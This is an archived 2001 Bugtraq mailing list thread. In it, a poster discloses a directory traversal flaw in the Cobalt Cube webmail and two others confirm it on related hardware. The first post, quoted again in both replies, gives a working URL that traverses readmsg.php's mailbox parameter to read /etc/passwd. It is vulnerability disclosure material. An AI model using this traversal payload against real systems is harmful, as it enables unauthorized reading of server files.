6712031 2001-07-05 03:41 -0400  /20 rader/ KF <dotslash@snosoft.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-06  06:44  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: recon@snosoft.com
Mottagare: Bugtraq (import) <17813>
Ärende: Cobalt Cube Webmail directory traversal
------------------------------------------------------------
I just got a new Cobalt Cube today and I have been poking around at
it for security issues... I noticed this minor issue in the webmail
system.  Your  users are not aloud to have shell access by default
however if they malform their mailbox requests they can read local
files with the perms of the webserver. If your users have shell
access they will not really be gaining anything however this could be
used to remotely gather information for a future attack.

[admin admin]$ uname -a Linux cube.ckfr.com 2.2.16C7 #1 Fri Sep 8
15:58:03 PDT 2000 i586 unknown [admin admin]$ cat /etc/issue
 
Cobalt Linux release 6.0 (Carmel)
Kernel 2.2.16C7 on an i586

http://YOURCOBALTBOX:444/base/webmail/readmsg.php?mailbox=../../../../../../../../../../../../../../etc/passwd&id=1

-KF
(6712031) /KF <dotslash@snosoft.com>/-----(Ombruten)
Bilaga (image/png) i text 6712032
Kommentar i text 6726239 av Paul Marshall <paul@roninstorm.freeserve.co.uk>
6712032 2001-07-05 03:41 -0400  /125 rader/ KF <dotslash@snosoft.com>
Bilagans filnamn: "webmail.png"
Importerad: 2001-07-06  06:44  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Extern mottagare: recon@snosoft.com
Mottagare: Bugtraq (import) <17814>
Bilaga (text/plain) till text 6712031
Ärende: Bilaga (webmail.png) till: Cobalt Cube Webmail directory traversal
------------------------------------------------------------
‰PNG


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(6712032) /KF <dotslash@snosoft.com>/-----(Ombruten)
6726239 2001-07-09 12:10 +0100  /34 rader/ Paul Marshall <paul@roninstorm.freeserve.co.uk>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-09  19:27  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17856>
Kommentar till text 6712031 av KF <dotslash@snosoft.com>
Ärende: Re: Cobalt Cube Webmail directory traversal
------------------------------------------------------------
From: Paul Marshall <paul@roninstorm.freeserve.co.uk>
To: bugtraq@securityfocus.com
Message-ID: <5.1.0.14.2.20010709120649.02c16d98@127.0.0.1>

At 08:41 05/07/2001, you wrote:
 >I just got a new Cobalt Cube today and I have been poking around at it
 >for security issues... I noticed this minor issue in the webmail system.
 >Your
 >users are not aloud to have shell access by default however if they
 >malform their mailbox requests they can read local files with the perms
 >of the webserver. If your users have shell access they will not really
 >be gaining anything however this could be used to remotely gather
 >information for a future attack.
 >
 >[admin admin]$ uname -a
 >Linux cube.ckfr.com 2.2.16C7 #1 Fri Sep 8 15:58:03 PDT 2000 i586 unknown
 >[admin admin]$ cat /etc/issue
 >
 >Cobalt Linux release 6.0 (Carmel)
 >Kernel 2.2.16C7 on an i586
 >
 >http://YOURCOBALTBOX:444/base/webmail/readmsg.php?mailbox=../../../../../../
 >../../../../../../../../etc/passwd&id=1
 >
 >-KF

Well caught.  I'll confirm the fault with my Cobalt Qube3's running
the  latest patches that their BlueLinq provides.  Surprising, to say
the  least.  You'd think they'd not allow traversal outside of your
home  directory...

	Paul
(6726239) /Paul Marshall <paul@roninstorm.freeserve.co.uk>/(Ombruten)
Kommentar i text 6728240 av John <johns@tampabay.rr.com>
6728240 2001-07-10 18:37 -0400  /39 rader/ John <johns@tampabay.rr.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-10  10:05  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17882>
Kommentar till text 6726239 av Paul Marshall <paul@roninstorm.freeserve.co.uk>
Ärende: Re: Cobalt Cube Webmail directory traversal
------------------------------------------------------------
From: John <johns@tampabay.rr.com>
To: bugtraq@securityfocus.com
Message-ID: <3B4B83C3.42C20EB6@tampabay.rr.com>

I confirmed this on Cobalt's, now Sun, Cube III.

Paul Marshall wrote:
> 
> At 08:41 05/07/2001, you wrote:
> I just got a new Cobalt Cube today and I have been poking around at it
> for security issues... I noticed this minor issue in the webmail system.
> Your
> users are not aloud to have shell access by default however if they
> malform their mailbox requests they can read local files with the perms
> of the webserver. If your users have shell access they will not really
> be gaining anything however this could be used to remotely gather
> information for a future attack.
>
> [admin admin]$ uname -a
> Linux cube.ckfr.com 2.2.16C7 #1 Fri Sep 8 15:58:03 PDT 2000 i586 unknown
> [admin admin]$ cat /etc/issue
>
> Cobalt Linux release 6.0 (Carmel)
> Kernel 2.2.16C7 on an i586
>
> http://YOURCOBALTBOX:444/base/webmail/readmsg.php?mailbox=../../../../../../
> ../../../../../../../../etc/passwd&id=1
>
> -KF

-- 
The events which transpired five thousand years ago;
Five years ago or five minutes ago, have determined
what will happen five minutes from now; five years
From now or five thousand years from now.
All history is a current event.
- Dr John Henrik Clake -
(6728240) /John <johns@tampabay.rr.com>/------------